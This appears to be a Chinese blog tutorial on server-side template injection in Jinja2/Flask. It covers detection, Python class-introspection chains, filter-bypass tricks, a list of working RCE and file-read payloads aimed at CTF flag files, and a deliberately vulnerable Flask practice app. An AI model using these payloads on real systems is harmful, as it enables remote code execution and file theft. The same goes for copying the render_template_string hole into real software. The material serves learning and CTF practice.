LOADING...

dadada~

loading

SSTI-模板注入


SSTI 就是服务器端模板注入(Server-Side Template Injection),注入的本质就是格式化字符串漏洞的一种体现

关于服务器端模板引擎

  • 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档

  • 模板引擎会提供一套生成 HTML 代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板 + 用户数据的前端 HTML 页面,然后反馈给浏览器,呈现在用户面前

  • 模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过

    [^ 沙箱机制 ]: Sandboxie自带一个快捷方式,就是在沙盘中运行IE。 Sandboxie是一款专业的虚拟类软件,它的工作软件:通过重定向技术,把程序生成和修改的文件,定向到自身文件夹中。 当然,这些数据的变更,包括注册表和一些系统的核心数据。 通过加载自身的驱动来保护底层数据,属于驱动级别的保护

关于模板注入

  • SSTI 存在于MVC模式当中的 View 层;M 为 Model 数据层,V 为 View 视图层;C 为 Controller 控制层,而 SSTI 就存在于 View 视图层当中

  • 当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户

  • 漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题,其影响范围主要取决于模版引擎的复杂性

  • 例如:

    $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); 
    echo $output;
    

SSTI探测

  • 最常用的方法是通过注入模板表达式中常用的一系列特殊字符来尝试模糊模板 ————这也被称作 fuzz 测试,例如${{<%[%'"}}%\

  • 如果服务器返回了相关的异常语句则说明服务器可能在解析模板语法,然而 SSTI 漏洞会出现在两个不同的上下文中,并且需要使用各自的检测方法来进一步检测 SSTI 漏洞

    • 纯文字上下文:

      • 有的模板引擎会将模板语句渲染成 HTML,例如 Freemarker

        render('Hello' + username) --> Hello Apce
        
      • 因为会渲染成 HTML,所以这还可以导致 XSS 漏洞。但是模板引擎会自动执行数学运算,所以如果我们输入一个运算,例如

        http://xxxx/?username=${7*7}
        
      • 如果模板引擎最后返回 Hello 49 则说明存在 SSTI 漏洞,注意:不同的模板引擎的数学运算的语法有些不同

    • 代码上下文:

      • 下面代码是用来生成邮件的

        greeting = getQueryParameter('greeting')
        engine.render("Hello {{"+greeting+"}}", data)
        
      • 上面代码通过获取静态查询参数 greeting 的值然后再填充到模板语句中,如果我们提前将双花括号闭合,就可以注入自定义的语句了

确定 Web 界面所用的模板引擎

  • 算是探测的一种,但是这种探测是基于已知 SSTI 漏洞存在的二次探测,一般的做法是触发报错

  • 触发报错的方式很多,以 Ruby 的 ERB 引擎为例,输入无效表达式<%foobar%>触发报错

    可以得到如下报错信息:

    (erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
    from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval' 
    from /usr/lib/ruby/2.5.0/erb.rb:876:in `result' 
    from -e:4:in `<main>'
    
  • 根据不同的报错得到不同的模板引擎,我们可以按照这张图进行判断{% asset_img template-decision-tree.png %}

  • 有的时候相同的 payload 可能会有两种响应,比如{{7*’7’}}在 Twig 中会得到 49,而在 Jinja2 中会得到 7777777

确定引擎之后

  • 阅读模板引擎语法、安全文档、已知利用文章

    <%
    import os
    x=os.popen('id').read()
    %>
    ${x}
    #这段代码可以在非沙箱环境中实现远程代码执行,包括读取、编辑或删除任意文件
    #python调用Shell脚本,有两种方法:os.system()和os.popen(),前者返回值是脚本的退出状态码,后者的返回值是脚本执行过程中的输出内容
    
  • 探索环境

  • 构造自定义利用

一些python的魔术方法和内置类

  • __class__用于返回该对象所属的类
  • __base__用于获取类的基类(也称父类)
  • __mro__返回解析方法调用的顺序。(当调用_mro_[1]或者-1时作用其实等同于_base_
  • __subclasses__()可以获取类的所有子类
  • config的用法,config是Flask模版中的一个全局对象,它包含了所有应用程序的配置值,所以可以使用 config.xxx 来查看该对象的属性值
  • __bases__返回基类元组
  • __init__调用初始化函数,可以用来跳到__globals__
  • __globals__返回函数所在的全局命名空间所定义的全局变量,返回字典
  • __builtins__返回内建内建名称空间字典
  • __dic__类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__
  • __getattribute__()实例、类、函数都具有的__getattribute__魔术方法;在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()都会自动去调用__getattribute__方法;因此可以直接通过这个方法来获取到实例、类、函数的属性
  • __getitem__()调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
    __builtins__内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数
  • __import__动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()
  • __str__()返回描写这个对象的字符串,可以理解成就是打印出来。
  • url_forflask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
  • get_flashed_messagesflask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
  • lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
    {{cycler.__init__.__globals__.os.popen('ls').read()}}
  • current_app应用上下文,一个全局变量
  • request可以用于获取字符串来绕过,包括下面这些:
    • open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
    • request.args.x1get传参
    • request.values.x1所有参数
    • request.cookiescookies参数
    • request.headers请求头参数
    • request.form.x1post传参:Content-Type:applicaation/x-www-form-urlencodedmultipart/form-data)
    • request.datapost传参:Content-Type:a/b)
    • request.jsonpost传json:Content-Type: application/json
    • config当前application的所有配置,也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

常用过滤器

  • 过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数

  • 可以链接到多个过滤器.一个滤波器的输出将应用于下一个过滤器

  • 可以实现一些简单的功能,比如attr()过滤器可以实现代替.,join()可以将字符串进行拼接,reverse可以将字符串反置等等

    length():    # 获取一个序列或者字典的长度并将其返回
    int():       # 将值转换为int类型
    float():     # 将值转换为float类型
    lower():     # 将字符串转换为小写
    upper():     # 将字符串转换为大写
    reverse():   # 反转字符串
    list():      # 将变量转换为列表类型;
    string():    # 将变量转换成字符串类型;
    join():      # 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用
    attr():       # 获取对象的属性
    replace(value,old,new): # 将value中的old替换为new
    

SSTI语句构造

  1. 拿到当前类,也就是用__class__——name={{"".__class__}}

  2. 拿到基类,这里可以用__base__,也可以用__mro__——name={{"".__class__.__bases__[0]}}||name={{"".__class__.__mro__[1]}} ||name={{"".__class__.__mro__[-1]}}

  3. 拿到基类的子类,用__subclasses__()——name={{"".__class__.__bases__[0]. __subclasses__()}}

  4. 找可利用的类,寻找那些有回显的或者可以执行命令的类,大多数利用的是os._wrap_close这个类,可以用一个简单脚本来寻找它对应的下标:

    import requests
    
    headers = {
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}
    for i in range(500):
        url = "http://127.0.0.1:5000/?name=\
            {{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
        res = requests.get(url=url, headers=headers)
        if 'os._wrap_close' in res.text:
            print(i)
            exit()
    
  5. 接下来就可以利用os._wrap_close,这个类中有popen方法,我们去调用它:

    • 先调用它的__init__方法进行初始化类——name={{"".__class__.__bases__[0]. __subclasses__()[138].__init__}}
    • 再调用__globals__获取到方法内以字典的形式返回的方法、属性等——name={{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__}}
    • 然后就可以去进行RCE了——name={{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('dir').read()}}

SSTI常见绕过方式

  • 绕过.

    • []代替.——{{"".__class__}}={{""['__class']}}
    • attr()过滤器绕过——{{"".__class__}}={{""|attr('__class__')}}
  • 绕过_

    • 通过list获取字符列表,然后用pop来获取_——{% set a=(()|select|string|list).pop(24)%}{%print(a)%}
    • 可以通过十六进制编码的方式进行绕过——{{()["\x5f\x5fclass\x5f\x5f"]}} ={{().__class__}}
  • 绕过[]

    • 使用__getitem__ 魔术方法,它可以把中括号转换为括号的形式——__bases__[0]=__bases__.__getitem__(0)
  • 绕过{{` - 利用jinja2的语法,用`{%`来进行RCE: ```jinja2 {%print("".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('dir').read())%} ``` - 借助for循环和if语句: ```jinja2 {%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%} ``` - 绕过单引号和双引号: - 采用`request.args.a`,然后给a赋值这种方式来进行绕过——`{{url_for.__globals__[request.args.a]}}&a=__builtins__ <=>{{url_for.__globals__['__builtins__']}}

  • 绕过args

    • 当使用args的方法绕过'"时,可能遇见args被ban的情况,这个时候可以采用request.cookiesrequest.values

      GET:{{url_for.__globals__[request.cookies.a]}}
      COOkie: "a" :'__builtins__'
      
  • 绕过数字

    • 可以通过count来得到数字——{{(dict(e=a)|join|count)}}
  • 绕过关键字

    • 遇见classbase这种关键词被绕过的情况,通常使用的绕过方式是使用join拼接从而实现绕过——{{dict(__in=a,it__=a)|join}} =__init__

常用payload

  • 任意命令执行:

    {%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
    
    {{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
    //这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
    
    {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
    
    {{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
    //x的含义是可以为任意字母,不仅仅限于x
    
    {{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
    
  • 文件读取:

    {{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
    //x的含义是可以为任意字母,不仅仅限于x
    

实践一下

  • 先去Pycharm里弄一个新的flask项目

    from flask import Flask
    # 导入Flask类.用于后面实例化出一个WSGI应用程序.
    app = Flask(__name__)
    # 创建Flask实例,传入的第一个参数为模块或包名.
    @app.route('/')
    # 使用route()装饰器告诉Flask什么样的URL能触发函数.route()装饰器把一个函数绑定到对应的URL上,这里就是把helloworld这个函数与这个url绑定
    def hello_world():  # put application's code here
        return 'Hello World!'
    
    if __name__ == '__main__':
        app.run()
    # app.run()函数让应用在本地启动
    
  • Flask的模板引擎是jinja2,常用标记:

    注释: {# 这是注释 #}
    变量: {{ post.title }},或字典元素 {{your_dict['key']}} ,或列表 {{your_list[0]}}
    多行代码块: {% 开始 %} HTML标签 {% 结束 %}
    
  • 在给出模板渲染代码之前,先在本地构造一个html界面作为模板,位置在模板渲染代码的相同位置下,有一个templates文件夹,在里面写入一个html文件,内容如下:

    <html>
      <head>
        <title>SSTI_test</title>
      </head>
     <body>
          <h2>Hello, {{name}}</h2>
      </body>
    </html>
    
  • 修改模板渲染代码(app.py):

    # coding=utf-8
    from flask import Flask, request, render_template
    
    app = Flask(__name__)
    
    @app.route('/',methods=['GET'])
    def hello_world():
        query = request.args.get('name') # GET取参数name的值
        return render_template('1.html', name=query) # 将name的值传入模板,进行渲染
    
    if __name__ == "__main__":
        app.run(host="0.0.0.0", port=5000, debug=True)
      # 让操作系统监听所有公网 IP,此时便可以在公网上看到自己的web,同时开启debug,方便调试。
    
  • 此时传参:?name={{7*7}},页面返回Hello, {{7*7}},没有进行运算

  • 漏洞成因:当把这两个文件合并到一个文件中,就可能造成SSTI模板注入:

    from flask import Flask,request,render_template_string
    app = Flask(__name__)
    
    @app.route('/', methods=['GET', 'POST'])
    def index():
        name = request.args.get('name')
        template = '''
    <html>
      <head>
        <title>SSTI</title>
      </head>
     <body>
          <h2>Hello, %s</h2>
      </body>
    </html>
            '''% (name)
        return render_template_string(template)
    if __name__ == "__main__":
        app.run(host="127.0.0.1", port=5000, debug=True)
    
  • 此时传参:?name={{7*7}},页面返回Hello, 49,因为render_template函数在渲染模板的时候使用了%s来动态地替换字符串,{{}}`在`Jinja2`中作为变量包裹标识符,在渲染的时候会把`{{}}包裹的内容进行解析

参考链接:

flask之ssti模版注入从零到入门 - 先知社区 (aliyun.com)

FLask SSTI从零到入门 - 跳跳糖 (tttang.com)

SSTI模板注入绕过(进阶篇)_yu22x的博客-CSDN博客_ssti绕过